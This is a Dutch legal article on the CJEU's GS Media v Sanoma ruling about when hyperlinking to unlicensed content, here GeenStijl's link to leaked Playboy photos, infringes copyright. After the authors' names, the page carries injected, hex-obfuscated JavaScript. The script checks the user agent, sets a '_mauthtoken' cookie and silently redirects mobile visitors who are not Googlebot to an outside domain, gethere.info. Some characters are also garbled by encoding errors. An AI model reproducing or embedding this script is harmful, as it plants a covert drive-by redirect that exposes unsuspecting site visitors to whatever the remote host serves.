De hoogste rechter heeft arrest gewezen in de zaak GS Media tegen Sanoma c.s. In het arrest heeft het Europese Hof van Justitie onderzoek gedaan naar de vraag of en onder welke omstandigheden het op een website plaatsen van een hyperlink naar illegale content een auteursrechtinbreuk oplevert.
Prijs vergelijk ADSL, kabel, glasvezel aanbieders en bespaar geld door over te stappen!
GeenStijl linkt naar uitgelekte foto’s Playboy
In oktober 2011 plaatst GeenStijl een artikel met een hyperlink op haar website naar uitgelekte foto’s van Britt Dekker voor Playboy. Door te klikken op de hyperlink werd de bezoeker van Geenstijl.nl doorgeleid naar een Australische file sharing service website waarop de foto’s zonder toestemming van Playboy en uitgeverij Sanoma waren geplaatst. De rechtbank oordeelde dat het plaatsen van de link een auteursrechtinbreuk opleverde door GeenStijl. Hierbij vond de rechtbank het belangrijk dat de link op de Australische website voorheen niet vindbaar was op internet en dat Geenstijl een commercieel belang had bij het plaatsen van de link. In hoger beroep is deze uitspraak vernietigd. Volgens het Hof was er geen sprake van een auteursrechtinbreuk omdat de foto’s op de Australische site openbaar werden gemaakt. Wel achtte het Hof het plaatsen van de link onrechtmatig omdat de bezoekers door Geenstijl werden verleid om illegale content te bekijken. De Hoge Raad heeft de zaak doorwezen naar het Europese Hof van Justitie om een antwoord op de vraag te krijgen onder welke omstandigheden het plaatsen van te een hyperlink een auteursrechtinbreuk (zijnde een ‘mededeling aan het publiek’) vormt.
Oordeel Hof van Justitie
Als de werken waarnaar gelinkt wordt al vrij beschikbaar zijn op een website, kan door hyperlinken geen sprake zijn van inbreuk. Er moet dan vanuit worden gegaan dat de auteursrechthebbende a�� toen hij instemde met het plaatsen van de content – heeft gewild dat het algemene internetpubliek kennis kon nemen van het werk.
Het Hof concludeert echter dat het plaatsen van hyperlinks naar werken die zonder toestemming van de auteursrechthebbende vrij beschikbaar zijn op een andere website een auteursrechtinbreuk kan vormen. Dit op voorwaarde dat de plaatser van de link kennis heeft of redelijkerwijs kan hebben van het illegale karakter van de publicatie van de werken op de andere site. Voor hyperlinkers met een winstoogmerk geldt vervolgens dat kan worden verwacht dat zij vooraf controleren of het betrokken werk op de site waarnaar de link leidt niet illegaal is gepubliceerd. Kennis van het illegale karakter wordt vermoed en kan worden weerlegd met tegenbewijs.
Sanoma en Playboy hebben geen toestemming gegeven voor de publicatie van de foto’s van Britt Dekker op het internet en GeenStijl was zich hiervan bewust. GeenStijl heeft een winstoogmerk bij het plaatsen van de link naar de illegale foto’s en is niet in staat te bewijzen dat de hyperlink is geplaatst zonder kennis van het illegale karakter van die publicatie. De publicatie van de link naar de gelekte naaktfoto’s vormt dus een auteursrechtinbreuk.
GeenStijl reageert geschokt op de uitspraak en stelt dat het arrest de persvrijheid beperkt:
”De strijd om het voortbestaan van het vrije internet met inclusief hyperlinks loopt vandaag een forse slag op. Want als commerciA�le mediabedrijven – zoals GeenStijl – niet meer vrij & onverveerd kunnen hyperlinken, wordt het moeilijk om over nieuwswaardige nieuwskwesties over lekkende informatie, onderhavige interne strubbelingen en onbeveiligde netwerken binnen grote bedrijven te berichten. En dat raakt aan de persvrijheid.”
Gevolgen voor de praktijk
Het gevolg van het arrest is dat auteursrechthebbenden beter beschermd worden en dat gebruikers van deze content via hyperlinks sneller het risico lopen dat zij een auteursrechtinbreuk plegen. Voor commerciA�le hyperlinkers geldt dat zij onderzoek moeten doen of zij met het plaatsen van een hyperlink verwijzen naar een illegaal gepubliceerd werk. Het risico wordt met name bij de hyperlinker gelegd, die moet bewijzen dat hij niet wist en behoorde te weten dat zijn hyperlink naar illegale content verwijst. Welk bewijs afdoende zal zijn, zal in de rechtspraak bepaald moeten worden. Rechthebbenden doen er goed aan hyperlinkers te wijzen op het illegale karakter van content zodra zij een hyperlink ontdekken. Dit kan door het sturen van een sommatiebrief. Hiermee wordt voorkomen dat gebruikers kunnen bewijzen dat zij niet op de hoogte waren van het illegale karakter.
Het risico is dat gebruikers minder zullen linken naar content. Dat levert ons inziens een onaanvaardbare beperking op van de vrijheid van meningsuiting.
Dit artikel is geschreven door EliA�tte Vaal en Zehra YalA�inkaya.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}
